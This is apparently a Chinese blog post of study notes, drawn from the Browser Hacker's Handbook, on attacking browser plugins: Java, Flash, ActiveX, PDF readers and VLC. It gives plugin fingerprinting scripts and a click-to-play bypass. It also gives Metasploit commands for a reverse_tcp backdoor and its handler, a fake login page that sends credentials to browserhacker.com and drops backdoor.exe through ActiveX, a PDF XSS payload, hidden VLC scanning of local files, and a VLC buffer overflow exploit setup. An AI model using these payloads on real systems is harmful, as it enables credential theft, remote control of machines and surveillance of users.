攻击插件

插件接口将外部代码或应用绑定到浏览器,从而利用这些第三方插件

理解插件

插件由两部分组成:

  • 浏览器API:控制浏览器与外部代码的交互
  • 脚本API:允许浏览器内部的代表插件的对象可以通过Web API操作
插件与扩展的区别

扩展:通过JavaScript和其他API利用已有的浏览器接口来增加功能,在多个页面有效

插件:利用外部代码,只有接收到特点文件格式才使用

  • 文件通过<object>或<embed>标签嵌入网页
  • Content-type引用一个MIME类型,表示浏览器如何处理这种文件
插件与标准程序的区别

插件与标准程序的区别在于,它们独立地扩展浏览器功能。插件通常会与外部应用调用相同
的代码。

调用插件

调用的两种途径:

  • Web服务器交付的Content-type与相应的MIME类型匹配
    • 示例
      示例
  • 通过<embed>或<object>标签
    • 示例
     <object data="flashdemo.swf" type="application/x-shockwave-flash">
     <param name="bhh" value="true">     //向Flash插件中传入bhh参数
     </object>
    
点击播放(Click to Play)

Click to Play(点击播放)是在运行插件之前请求用户授权。

采集插件指纹

检测插件
手动检测

Firefox和Chrome会把安装的插件放在一个DOM对象navigator.plugins中

因此简单创建一个网页,结合Mozilla参考信息输出一个表格即可:

<HTML>
<BODY>
<SCRIPT>
var pluginLen = navigator.plugins.length;   
document.write("<TABLE><TR><TH COLSPAN=4>");
document.write(
	"Plugins Found: " + pluginLen.toString() + " </TH></TR>" +
	"<TR><TH>Name</TH><TH>Filename</TH>" +
	"<TH>Description</TH><TH>Version</TH></TR>\n"
);

//获取navigator.plugins中的信息
for(var i = 0; i < pluginLen; i++) {
	document.write(
		"<TR><TD>"+
		navigator.plugins[i].name +
		"</TD><TD>" +
		navigator.plugins[i].filename +
		"</TD><TD>" +
		navigator.plugins[i].description +
		"</TD><TD>" +
		navigator.plugins[i].version +
		"</TD></TR>\n"
	);
}

document.write("</TABLE>");
</SCRIPT>
</BODY>
</HTML>

可以进一步检测navigator.mimeTypes这个DOM对象,获取相应的插件是否返回MimeType对象,或者返回undefined。

  • 检测是否安装Flash:!!navigator.mimeTypes["application/x-shockwave-flash"]

在IE中,多数插件都在ActiveX控件中执行

检测系统中是否安装了某插件,可以尝试实例化一个ActiveX对象并检测实例化之后返回的是不是一个有效的对象。

flash_versions = 11;
flash_installed = false;
objname = "ShockwaveFlash.ShockwaveFlash.";
if (window.ActiveXObject) {
	for (x = 2; x <= flash_versions; x++) {
		try {
			Flash = eval("new ActiveXObject('" + objname + x + "');");
			if (Flash) {
				flash_installed = true;
			}
		} catch (e) { }
	}
}
自动检测

PluginDetect

  • 插件检测框架
BeEF检测

攻击插件

绕过点击播放

某些小型或隐藏插件的实例,可能不会请求用户许可也能执行。

Firefox的示例
<html>
	<head>
	<style type='text/css'>
		#overlay {
			background-color: black;
			position: absolute;
			top: 0px;
			left: 0px;
			width: 550px;
			height: 450px;
			color: white;
			text-align: center;
			padding-top: 100px;
			pointer-events: none;    //阻止在黑色#overlay div上触发任何鼠标事件
		}
	</style>
	<body>
		<div id="overlay">Click here</div>
		<applet code="Foo.class" width="500" height="500"/>
	</body>
</html>
Java示例
void initAppletAdapter(AppletExecutionRunnable
	paramAppletExecutionRunnable)
	throws ClassNotFoundException, IllegalAccessException,
	ExitException, JRESelectException, IOException,
	InstantiationException {
		long l = DeployPerfUtil.put(0L,"Plugin2Manager.createApplet() - BEGIN");
		/*
		* 取得"code"和"object"小程序属性的值
		*/
		String str1 = getSerializedObject();
		String str2 = getCode();
		[...snip...]
		if ((str2 != null) && (str1 != null)) {
			System.err.println(amh.getMessage("runloader.err"));
			throw new InstantiationException("Either \"code\" or \"object\"" +" should be specified, but not both.");
		}
		if ((str2 == null) && (str1 == null))
			return;
		if (str2 != null) {       
			/*
			* 通过"code"属性正常加载小程序
			* 触发Ctp pop=up,等待用户介入
			*/
			if (fireAppletSSVValidation()) {
				appletSSVRelaunch();
			}
			[...snip...]
		} else {         //如果没有使用code属性,Java假设你会使用object属性,也就是加载序列化后的小程序。这时候,不会触发点击播放机制
			if (!this.isSecureVM)
				return;
			// 通过"object"属性加载serialized小程序
			this.adapter.instantiateSerialApplet(localPlugin2ClassLoader, str1);
			this.doInit = false;
			DeployPerfUtil.put("Plugin2Manager.createApplet()" +" - post: secureVM .. serialized .. ");
			}
			[...snip...]
			DeployPerfUtil.put(l, "Plugin2Manager.initAppletAdapter() - END");
}

利用:
<embed object="object.ser" type="application/x-java-applet;version=1.6">

攻击Java
Java小程序
  • 签名小程序:可以在沙箱外部执行代码
  • 未签名小程序:在沙箱内执行代码,默认会屏蔽代码访问文件系统以及执行操作系统命令
检测Java

使用System.getProperty方法获取Java版本或厂商:

import java.applet.*;
import java.awt.*;
public class JVersion extends Applet{
	public JVersion() {
		super();
		return;
	}

	public static String execute() {
		return (" Java Version: " + System.getProperty("java.version")+" by "+System.getProperty("java.vendor"));
	}
}

调用上面代码的HTML及JavaScript代码:

<object id='JVersion' name='JVersion'>
	<param name='code' value='JVersion.class' />
	<param name='codebase' value='null' />
	<param name='archive' value='http://browserhacker.com/JVersion.jar' />
</object>
<script>
	document.write(document.JVersion.execute());
</script>
破解Java小程序
  • Java反编译器:JD-GUI
绕过Java沙箱
  • CVE-2013-0422
利用Java
  • CVE-2013-2423
    • Metasoloit模块:java_jre17_driver_manager
攻击Flash
共享对象

支持从数据存储中本地或远程检索数据。共享对象最常见的用途就是Flash的cookie。

  • 共享对象数据并不经常清除
  • 共享对象信息
    • Mac:Library/Preferences/Macromedia/Flash Player/#SharedObjects/
    • Windows:C:\Documents and Settings\ [username]\Application Data\Macromedia\Flash Player
ActionScript

ActionScript是一个开源的脚本语言,Adobe Flash和Apache Flex都在使用。
Flash的设计初衷是增强网页功能,因此通常很少需要与操作系统直接交互。
ActionScript则可以发送网络和Web请求,访问某些外围设备,以及向用户发送流媒体。

  • 转码工具:SWFScan
利用摄像头和麦克风
  • 查看摄像头是否开启:查询Camera类的name属性
  • 查看麦克风:Microphone类和NetStream类
Flash模糊测试
攻击ActiveX插件

ActiveX是为IE设计的,但有插件可以使Chrome和Firefox在不打开IE窗口的前提下运行ActiveX。

  • 示例
    • Metasploit
      • 生成payload:msfpayload windows/meterpreter/reverse_tcp LHOST=攻击者地址 LPORT=8675 R | msfencode -c 3 -t exe > backdoor.exe
      • 启动Metasploit的msfconsole,允许payload连接
      • 启动multi/handler
        use multi/handler
        set payload windows/meterpreter/reverse_tcp
        set LHOST 攻击者地址
        set LPORT 8675
        set ExitOnSession false
        exploit -j
      • 构建虚假界面
      <html>
      <body>
      <script>
      function submitData()
      {
      	var x = document.getElementById("sploit");
      	var url = "http://browserhacker.com/capture.rb?un=" +
      	x.elements[0].value + "&pw=" + x.elements[1].value;
      	document.getElementById('t1').background=url;
      }
      </script>
      <div align=center>
      <form id="sploit" >
      <table id='t1' border=0 background="">
      <tr><th colspan=2>BrowserVictim.com Chat System<BR> Please Log in with your ActiveDirectory Credentials</th></tr>
      <tr><th>Username:</th><td><input type=text name="user"></td></tr>
      <tr><th>Password:</th><td><input type=password name="pass" onBlur="submitData()"></th></tr>
      <tr><th colspan=2>
      <object classid='clsid:C28A127E-4A85-11D3-A5FF-00A0249E352D' id='target'></object>
      </tr></td>
      </form>
      <BR>
      </div>
      <script language='vbscript'>
      document.getElementById("target").fileName = "Z:\\backdoor.exe"
      </script>
      </body>
      </html>
      
攻击PDF阅读器
PDF中使用JavaScript
  • UXSS
    UXSS漏洞允许用户向PDF中传入参数,然后文档中的JavaScript可以处理这些参数。
    http://browserhacker.com/test.pdf#PDF=javascript:alert('xss')
  • 启动另一个浏览器
    PDF可以启动浏览器并请求特定的URL,app.launchURL方法可以让操作系统启动默认浏览器。
    app.launchURL("http://browserhacker.com:3000/demos/report.html",true);
攻击媒体插件
通过VLC扫描资源

给VLC ActiveX插件添加一个播放列表项并尝试播放它,会得到位于播放列表中的文件是否有效的反馈。

<object style="visibility:hidden" classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921" width="0" height="0" id="vlc"></object>
<script>
vlc.playlist.clear();
vlc.playlist.add(items[i]);
vlc.playlist.playItem(0);
vlc.attachEvent("MediaPlayerPlaying", onFound);
vlc.attachEvent("MediaPlayerEncounteredError", onNotFound);
</script>

枚举items数组中定义的资源:

try {
	var result = "";
	var i = 0;
	
	// 创建div来附加上VLC对象
	var newdiv = document.createElement('div');
	var divIdName = 'temp_div';
	newdiv.setAttribute('id',divIdName);
	newdiv.style.width = "0";
	newdiv.style.height = "0";
	newdiv.style.visibility = "hidden";
	document.body.appendChild(newdiv);
	
	// 创建对象
	document.getElementById("temp_div").innerHTML = "<object style=\"visibility:hidden\"" + " classid=\"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921\"" + " width=\"0\" height=\"0\" id=\"vlc\"></object>";
	
	var items = [
		"C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.20125.0",
		"C:\\Program Files (x86)\\Sophos\\Sophos Anti-Virus",
		"C:\\Users\\wade",
		"C:\\Users\\morru"
	]
	
	function onFound(event){
		result += items[i] + "\n";
		i++;
		console.log("Found");
		next();
	}
	
	function onNotFound(event){
		i++;
		console.log("Not Found");
		next();
	}
	
	function next(){
		if (i >= items.length){
			vlc.playlist.stop();
			// 将结果返回框架
			console.log("Discovered resources:\n" + result);
			// 清除
			var rmdiv = document.getElementById("temp_div");
			document.body.removeChild(rmdiv);
			return;
		}
		
		vlc.playlist.clear();
		vlc.playlist.add("file:///" + items[i]);
		console.log("Adding item " + items[i] + " to playlist.");
		vlc.playlist.playItem(0);
	}
	
	vlc.attachEvent("MediaPlayerPlaying", onFound);
	vlc.attachEvent("MediaPlayerEncounteredError", onNotFound);
	next();
} catch(e) {}
利用媒体播放器
  • VLC MMS Stream Handling Buffer Overflow
    漏洞通过IE及恶意URL启动VLC,然后VLC处理该URL,于是就会导致SEH重写,最终执行payload代码。
  • 在Metasploit的msfconsole中启动这个恶意URL
    use exploit/windows/browser/vlc_mms_bof
    set URIPATH /vlc
    set payload windows/meterpreter/reverse_tcp
    set LHOST 攻击者地址
    set LPORT 8675
    exploit
参考文献

《黑客攻防技术宝典——浏览器》

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值